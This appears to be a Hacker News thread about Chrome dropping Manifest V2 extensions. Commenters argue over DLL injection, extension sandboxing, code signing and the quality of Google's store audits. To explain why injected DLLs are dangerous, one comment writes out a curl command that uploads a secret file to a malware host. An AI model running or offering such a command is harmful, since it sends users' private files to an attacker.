"Begin disabling installed extensions still using Manifest V2 in Chrome stable"

Can't we avoid the Manifest bullshit altogether?

I remember how IE plugins roles: just dll inject into the process.

Inject dll's from the internet right into the browser. Yes, let's!

Why not avoid all this unnecessary DDL overhead and just load as a kernel module?

I'm not convinced that this is a good idea, but I don't think that's the reason; don't all your dlls come from the internet?

My comment was sarcasm.

The difference here is are you downloading a random dll from a well known source or from http://free-vpn-fast-internet.dwnloadfree.ru/free-chrome-vpn...? My mom isn't going to know the difference and will click the big green DOWNLOAD NOW button blindly.

TempleOS https://en.wikipedia.org/wiki/TempleOS

But that's not a difference, is it? Can't Windows enforce that DLLs have to be signed just like extensions?

Injecting a DLL in the browser implies code running with the browser's permissions, which means the DLL will be able to access everything on your system. For example `system("curl https://malware.com -F@/etc/secret-file")` will be possible. Another example is that it could also see all your saved passwords.

A javascript extension cannot do that. It is sandboxed and is bound to a permission system limiting what it can do on top of that.

Signing a DLL only proves that the author is who he says he is. Not that his intentions are good. Same for browser extensions.

So it's best to limit what the extension can do to begin with.

Chrome tries to block the majority of third-party software from injecting code into it:

https://blog.chromium.org/2017/11/reducing-chrome-crashes-ca...

My heavily downvoted comment was also a sarcasm.

So here's the dilemma：

- People are afraid of plugins "in the wild". People need some kind of centralized, managed "extension store"

- People complains about store policy like Manifest V3

I don't think a single mechanism can please both crowds.

And what's worse? Google doesn't actually care about the security of the the "store". Scam extensions are everywhere. The "audit process" are minimal, customer/developer service are essentially none, and Google only enforce rules that affect their ads business.

> don't all your dlls come from the internet?

Either from the "wild" internet or manifest v3 intranet.

Or can we do better? For example, a community can maintain an opensource "network control" DLL that allow users to enable/disable tamperscript-like firewall rules from uBlock or such.

yeah modern browsers are pretty secure, it's business moat.

Captain, we're sinking.